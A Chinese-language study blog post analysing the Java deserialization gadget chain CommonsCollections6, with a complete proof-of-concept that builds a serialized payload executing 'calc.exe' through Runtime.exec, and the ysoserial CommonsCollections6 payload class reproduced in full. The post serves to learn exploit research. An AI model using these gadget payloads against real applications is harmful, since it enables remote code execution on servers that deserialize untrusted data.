Java反序列化-CC6

girl_gesture_jewelry_966884_1280x720

老子他妈反复思考

前言

CommonsCollections6没有JDK限制,所以在一些工具中构造命令执行时经常也会用到CC6。本文会学习p神简化得利用链已经分析ysoserial中的代码。

CommonsCollections Gadget Chains CommonsCollection Version JDK Version Note
CommonsCollections1 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用)
CommonsCollections2 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections3 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用) javassist
CommonsCollections4 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections5 CommonsCollections 3.1 - 3.2.1 1.8 8u76(测8u181也可)
CommonsCollections6 CommonsCollections 3.1 - 3.2.1 暂无限制

cc6在LazyMap后面和cc1是一样的。

简化版利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/

解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅。

在类org.apache.commons.collections.keyvalue.TiedMapEntry中的getValue()方法中调用了this.map.get

image-20240320113119866

在他的hashCode()方法中又调用了hashCode()方法。

1
2
3
4
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

所以,欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了 TiedMapEntry#hashCode

java.util.HashMap#readObject 中就可以找到 HashMap#hash() 的调用:

在HashMap中的readObject()方法中调用了hash()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();

// ...

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

查看声明后看到hash()方法调用了hashCode()

image-20240320114921762

在HashMap的readObject⽅法中,调⽤到了 hash(key) ,⽽hash⽅法中,调⽤到了 key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过 程,构成⼀个完整的Gadget。

构造Gadget代码

首先,构造恶意的LazyMap类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};

Transformer[] transformers = new Transformer[] {
//包装一个对象,该对象为Runtime.class类
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
//隐藏异常日志中的一些信息
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();

为了避免本地调试时触发命令执行,我构造LazyMap的时候先⽤了⼀个人畜无害的 fakeTransformers 对象,等最后要⽣成Payload的 时候,再把真正的 transformers 替换进去。

然后,拿到了⼀个恶意的LazyMap对象 outerMap ,将其作为 TiedMapEntry 的map属性:

1
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着,为了调⽤ TiedMapEntry#hashCode() ,我们需要将 tme 对象作为 HashMap 的⼀个key。注意, 这⾥我们需要新建⼀个HashMap,⽽不是⽤之前LazyMap利⽤链⾥的那个HashMap,两者没任何关系。

1
2
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

image-20240320123352449

然而并没有弹计算器,接下来来进行修改。

原因是在expMap.put(tme, "valuevalue");

image-20240320125027182

步入进去看看

image-20240320125048315

可以看到HashMap#put也调用了hash()方法。就导致 LazyMap 这个利⽤链在这⾥被调⽤了⼀遍。

我们之前构造的fakeTransformers对象给他的key赋值了,使用非空没能进入这个循环,由于需要trabsform方法来执行命令,故没有弹出计算器。

image-20240320124141275

解决⽅法是将key值为keykey,再从outerMap中移除即可: outerMap.remove("keykey")

修改过后成功弹出计算器

image-20240320125349397

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections6 {
public static void main(String[] args) throws Exception{
//⼈畜⽆害
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};

Transformer[] transformers = new Transformer[] {
//包装一个对象,该对象为Runtime.class类
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
//隐藏异常日志中的一些信息
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
//恶意的LazyMap对象 outerMap ,将其作为 TiedMapEntry 的map属性
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

ysoserial利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

by @matthias_kaiser
*/

与上面简化版相比是多了两个方法的调用,分别是java.util.HashSet.readObject()java.util.HashMap.put()

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER })
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {

public Serializable getObject(final String command) throws Exception {

final String[] execArgs = new String[] { command };

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

Transformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

Reflections.setAccessible(keyField);
keyField.set(node, entry);

return map;

}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections6.class, args);
}
}

与上面简化版POC不同的是通过反射直接调用putVal新增键值对,随便传入一个hash值,从而避免hashCode的计算。getDeclaredField是根据变量名返回一个成员变量。

重点是HashSet map = new HashSet(1);调用了HashSet创建了一个对象。

很多try catch应该是为了兼容不同版本的jdk

通过反射获取到HashSet类型对象map的成员变量map

1
2
3
4
5
6
7
8
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

通过反射获取到HashSet类型对象map的成员变量table

1
2
3
4
5
6
7
8
9
10
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

获取table的第一个元素(如果为空则获取第二个元素)为node变量

1
2
3
4
Object node = array[0];
if(node == null){
node = array[1];
}

获取node的成员变量key并且把key修改为之前构造好的TiedMapEntry类型对象

1
2
3
4
5
6
7
8
9
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

Reflections.setAccessible(keyField);
keyField.set(node, entry);

这一大段代码的意思就是首先往新的HashSet构造的map添加一个foo,此时map中存了一个值

image-20240320215002759

然后通过反射获取到HashSet类型对象map的成员变量map,并且作为HaspMap的一个Node存到名为innimpl的HaspMap里面

image-20240320215406696

接着通过反射获取到HashSet类型对象map的成员变量table

image-20240320215653364

table是在第一次使用时初始化,并根据需要调整大小。在分配时,长度总是2的幂。(我们也允许某些操作的长度为零,以允许目前不需要的引导机制。)

f2就为HashMap的一个Node,并且名为table,还未被初始化。

image-20240320215945368

get方法 返回指定对象上由此字段表示的字段的值。如果值具有基本类型,则会自动将其包装在对象中。在这里返回了一个被封装HashMap对象key为foo
image-20240320221002509

并且放到数组array里面

image-20240320221228670

并且赋值给一个名为node的Objectle类。

再接着就是获取node的成员变量key并且把key修改为之前构造好的TiedMapEntry类型对象

image-20240320222516289

然后会抛出异常

image-20240320223145975

所以为什么要先再HashSet对象内放个”foo”,然后通过这么多反射,将这个元素修改为entry,直接添加entry不行吗?

看到LazyMap的get方法,通过修改为entry来抛出异常然后没有执行到这里也没有给key赋值,这样在反序列化的时候就会调用super.map.put(key, value);来接着反序列化链子进行。进而调用Transformer链。

image-20240320223338649

链子动态调试

就看看链子的流程。

断点打在HashSet重写的readObject方法上面,其实这个时候就已经弹计算器了。

image-20240320145855375

步入进入HashMap的get方法

image-20240320224257990

然后调用了HashMap的put方法

image-20240320224349856

接着步入TiedMapEntry的hashCode方法

image-20240320224414794

调用了TiedMapEntry的getValue

image-20240320224549430

然后就是LazyMap的get方法,接下来就是调用Transformer链。我这里因为已经弹过计算器了所以已经反序列化过了所以key有值了,但是链子就是这样走是没问题的,弹计算器也是没问题的。

image-20240320225043250

应该换个地方打断点就可以在弹计算器之前程序停下来了,可是我和她终究没能在正确的时间点遇到。

总结

CC6链子用 java.io.ObjectInputStream.readObject()–>
java.util.HashMap.readObject()–>
java.util.HashMap.hash()–>
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()–>
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()解决了CC1由于sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了而无法调用LazyMap。通过学习这条链子,也锻炼了动态调试的能力。学习更多是学会如何思考反序列化链子,如何处理问题。多多思考,动手看源代码。

参考:

《Java安全漫谈》

Ysoserial Commons Collections6分析 - Zh1z3ven - 博客园 (cnblogs.com)

Z3专栏 | CommonsCollections6分析 - FreeBuf网络安全行业门户